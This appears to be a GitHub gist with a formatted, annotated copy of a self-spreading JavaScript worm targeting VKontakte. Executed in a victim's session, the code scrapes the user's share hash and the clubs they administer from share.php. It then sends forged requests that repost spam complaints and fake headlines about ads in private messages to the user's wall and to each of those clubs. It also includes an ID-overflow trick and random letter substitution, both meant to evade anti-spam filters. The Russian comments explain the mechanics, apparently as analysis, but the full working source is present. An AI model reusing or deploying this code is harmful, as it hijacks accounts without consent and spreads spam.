Forked from srgykuz/Formatted rzhaka-prikol-yrap.js
Created
February 15, 2019 13:05
-
-
Save trinitiwowka/0c9f999f5c646398261d53f374fb2d81 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * Текст поста. | |
| */ | |
| var news_text = [ | |
| "Всё меньше причин оставаться ВК.. Ждем пока mail group окончательно загонят сайт в яму и переходим на telegram", | |
| "Дурову пора создавать новый вконтакте, этот уже испортили", | |
| "Прости, Паша, мы все прое*али", | |
| "Ну это уже ни в какие рамки", | |
| "ВКонтакте окончательно загнулись", | |
| "Мда, меилру продолжает губить все, к чему прикасается", | |
| "Это пи*дец, товарищи", | |
| "Раньше было лучше", | |
| "стало очень неудобно", | |
| "лучше бы делом занялись", | |
| "я просто в шоке", | |
| "без комментариев", | |
| "Как же достали со своими обновлениями", | |
| "Фуфло полное ,не трогайте сообщения!", | |
| "сначала музыка, теперь ЭТО", | |
| "С такими говновведениями, что тут бодяжат последнее время, со всякими дебильными ветоШными комментами, тупыми закладками, невидимыми репостами и т.д., все и так сбегут скоро" | |
| ]; | |
| /** | |
| * Название ссылки, которая будет в посте. | |
| */ | |
| var news_link_text = [ | |
| "Социальная сеть ВKонтакте зaпустила реклaму в личных сообщенияx пользоватeлей", | |
| "СМИ: ВКонтакте запустили pекламу в личных соoбщениях", | |
| "ВКонтакте запустили рекламу в сообщениях", | |
| "ВКонтакте появилась реклама в сообщениях", | |
| "ВКонтакте ввели рекламу в сообщениях", | |
| "ВКонтакте тестирует рекламу в личныx сообщениях", | |
| "ВКонтакте представили рекламу в личных сообщениях", | |
| "Реклaма в личных сoобщениях появилась ВКонтакте", | |
| "Пользователей BКонтакте взбесила реклама в личных сообщениях", | |
| "Пользователи ВКонтакте протестуют против рекламы в личных сообщениях", | |
| "Реклама в личных сообщениях вывела из себя пользователей ВКонтакте", | |
| "ВКонтакте: мы запускаем рекламу в личных сообщениях", | |
| "ВКонтакте: теперь рекламодатели могут размещать рекламу в сообщениях пользователей", | |
| "ВКонтакте прокомментировали жалобы пользoвателей на рекламy в сообщeниях", | |
| "Пользователи ВКонтакте в ярости из-за рекламы в личных сообщениях", | |
| "Пользователи бегут из социальной сети ВКонтакте из-за рекламы в личных сообщениях" | |
| ]; | |
| /** | |
| * Отправка URL через HTTPRequest. | |
| */ | |
| function send_URL(url) { | |
| var b = new XMLHttpRequest; | |
| b.open("GET", url); | |
| b.send(); | |
| } | |
| /** | |
| * Создаем URL API-метода "поделиться" от лица пользователя. | |
| */ | |
| function create_share_url(user_hash, club_address) { | |
| return ( | |
| "https://vk.com/share.php?act=a_submit&al=1" + | |
| "&hash=" + // уникальный хэш пользователя. | |
| user_hash + | |
| "&photo_id=" + | |
| io(456239755) + | |
| "&photo_owner_id=" + | |
| io(484644478) + | |
| "&share_comment=" + // текст поста. | |
| encodeURIComponent(change_text(random_element(news_text))) + | |
| "&title=" + // текст ссылки. | |
| encodeURIComponent(random_element(news_link_text)) + | |
| (club_address ? "&to=" + club_address + "" : "") + // админы клубов репостят в свои клубы. | |
| "&url=" + // куда ведет ссылка. | |
| encodeURIComponent( | |
| "https://vk.com/public" + | |
| io(22822305) + | |
| "?w=article727491309_905121871&_fm=" + | |
| (Math.random() * 100) | |
| ) | |
| ); | |
| } | |
| /** | |
| * "rzhaka: это int overflow для частичного обхода антиспама". | |
| */ | |
| function io(number) { | |
| return 4294967296 * Math.floor(1e6 * Math.random()) + number; | |
| } | |
| /** | |
| * Выбор рандомного элемента из массива. | |
| */ | |
| function random_element(array) { | |
| return array[Math.floor(Math.random() * array.length)]; | |
| } | |
| /** | |
| * Что-то делает со строкой. | |
| * Скорее всего рандомно заменяет некоторые символы исходного текста на другие, чтобы избежать автоматического удаления поста. | |
| */ | |
| function change_text(text) { | |
| let symbols = { | |
| а: ["я", "a"], | |
| о: ["а", "a", "o", "0"], | |
| я: ["е", "а", "е", "a"], | |
| и: ["ы"], | |
| ы: ["и"], | |
| ъ: ["ь"], | |
| ь: ["ъ"], | |
| д: ["т"] | |
| }; | |
| for (let i = 0; i < text.length; i++) { | |
| ( | |
| null != symbols[text[i]] && | |
| .3 > Math.random() && | |
| (text = text.replaceAt(i, symbols[text[i]][Math.floor(Math.random() * symbols[text[i]].length)])) | |
| ); | |
| } | |
| return text; | |
| } | |
| /** | |
| * Изменяем поведение обычного `replaceAt()`. | |
| * | |
| * - это нужно только для `change_text()`. | |
| */ | |
| String.prototype.replaceAt = function(c, a) { | |
| return this.substr(0, c) + a + this.substr(c + a.length); | |
| }; | |
| var share_method = new XMLHttpRequest; | |
| share_method.open("GET", "share.php"); // метод "поделиться". | |
| share_method.send(); // отправляем запрос ВК. | |
| share_method.onload = function() { // получаем ответ (типа text/html) от ВК вместе со всей приватной(?) инфой. | |
| var clubs = JSON.parse( | |
| share_method.responseText.match( | |
| /clubs: (.*?),\n/ | |
| )[1] | |
| ); // доступные клубы. | |
| var hash = share_method.responseText.match( | |
| /window.shareHash = \'(.*?)\';/ | |
| )[1]; // уникальный хэш пользователя для "поделиться"? | |
| clubs.forEach(function(club) { // админы репостят в свои клубы. | |
| send_URL(create_share_url(hash, club[0])); | |
| }); | |
| send_URL(create_share_url(hash, 0)); // пользователь репостит себе. | |
| }; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment